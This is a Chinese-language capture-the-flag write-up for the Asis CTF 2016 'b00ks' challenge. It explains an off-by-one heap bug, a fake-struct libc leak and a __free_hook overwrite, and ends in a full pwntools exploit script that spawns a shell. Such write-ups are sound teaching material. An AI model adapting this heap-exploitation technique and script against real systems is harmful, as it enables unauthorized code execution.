Asis CTF 2016 b00ks
结构体
通过前后分析可以得到如下结构
struct book
{
int id;
char *name;
char *book_description;
int size;
}
再来看一下漏洞
先看漏洞函数
可以看到*buf=0,这个将末尾置0,那么便存在off_by_one漏洞,但是之后我一直在各个函数里找漏洞,都没找到,最后在read_name()函数里找到的,这只能说我太菜了,不知道还有交叉引用这个东西直接按x啊
可以看到只有四个函数调用了,那不就出来了吗?
可以看到这里有个32,那么便可以肯定的是,漏洞,再点进去看一看
能够覆盖到0x38处
但是这个怎么着能不能覆盖?????到底是为什么呢?我弄了一下午,才发现。
左边是名字,右边是值。可以表明,这个是写死的了。
现在我们知道漏洞点了,那么现在怎么办呢?
- 首先我们这里使用read_name函数读取(name,目的是泄露出其地址的内容)
- 通过一字节溢出,会将第一个book的地址末尾置0,我们知道ASLR后1.5个字节也即3个16进制是不随机化的,所以我们后几位都是一定的
- 当末尾置0的时候,他就会跳转到其前面的堆块中,这里会跳转到前面的book2_des地址去,然后我们通过构造得来伪造一个新的book
- 在这个新的book中,我们将name,book_description地址变为book2的地址,这样我们便可以读取到book2的地址,而如果我们的book2申请空间很大的话,那么其可以通过mmap申请堆块,而这个堆块是与libc地址相关的,那么这样我们泄露出其地址,便是可以得到libc基地址
- 由于这里有edit操作,那么我们便可以通过修改book1,来修改book2的地址指针,使其指向
__free_hook
然后我们便可以修改Book2的地址,便可以达到修改__free_hook
的功能。
启用了FULL RELRO
所以我们不能修改got表,但是我们可以修改__free_hook
和__malloc_hook
,我们可以将它修改为one_gadget
结尾exp
#-*- coding:utf8 -*-
from pwn import *
context.os="linux"
context.arch="amd64"
context.word_size=64
context.endian="little"
context.log_level="debug"
local = True
pc="./b00ks"
remote_addr=["123.123.123.123",12345]
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell= lambda :p.interactive()
p=None
if local==True:
p=process(pc)
gdb.attach(p)
else:
p=remote(remote_addr[0],remote_addr[1])
def create(size_1,name,size_2,description):
p.recv()
p.sendline("1")
p.recvuntil("Enter book name size:")
p.sendline(str(size_1))
p.recvuntil("Enter book name (Max 32 chars):")
p.sendline(name)
p.recvuntil("Enter book description size:")
p.sendline(str(size_2))
p.recvuntil("Enter book description:")
p.sendline(description)
def delete(id):
p.recvuntil(">")
p.sendline("2")
p.recvuntil("Enter the book id you want to delete:")
p.sendline(str(id))
def edit(id,description):
p.recv()
p.sendline("3")
p.recvuntil("Enter the book id you want to edit:")
p.sendline(str(id))
p.recvuntil("Enter new book description:")
p.sendline(description)
def read():
p.recvuntil(">")
p.sendline("4")
def change_name(name):
p.recvuntil(">")
p.sendline("5")
p.recvuntil("Enter author name:")
p.sendline(name)
def printbook(id):
p.recvuntil("> ")
p.sendline("4")
p.recvuntil(": ")
for i in range(id):
book_id = int(p.recvline()[:-1])
p.recvuntil(": ")
book_name = p.recvline()[:-1]
p.recvuntil(": ")
book_des = p.recvline()[:-1]
p.recvuntil(": ")
book_author = p.recvline()[:-1]
return book_id, book_name, book_des, book_author
if __name__ == "__main__":
p.recvuntil("author name:")
p.sendline("A"*32)
create(48, '1a', 240, '1b') #1
create(0x21000, '2a', 0x21000, '2b')#2
book_id_1, book_name, book_des, book_author = printbook(1)
first_heap = u64(book_author[32:32+6].ljust(8,'\x00'))
log.info(hex(first_heap))
payload = "a"*0x50 + p64(1) + p64(first_heap + 0x38)
payload = payload + p64(first_heap + 0x40) + p64(0xffff)
edit(1,payload)
change_name("A"*32)
book_id_1, book_name, book_des, book_author = printbook(1)
book2_name_addr = u64(book_name.ljust(8,'\x00'))
book2_des_addr = u64(book_des.ljust(8, '\x00'))
log.info(hex(book2_name_addr))
log.info(hex(book2_des_addr))
offset = 0x4f3d5
offset = 0x4f432
#offset = 0x10a41c
libc_base = book2_des_addr - 0x5b8010
one_gadget = libc_base +offset
free_hook = libc_base +0x3ed8e8
log.info(hex(libc_base))
execv_addr =libc_base+ 0xe4c00
system_addr = libc_base + 0x4f550
bin_sh = 0x01b3e1a + libc_base
#pause()
payload = p64(free_hook)
edit(1,payload)
edit(2,p64(one_gadget))
delete(2)
#pause()
p.interactive()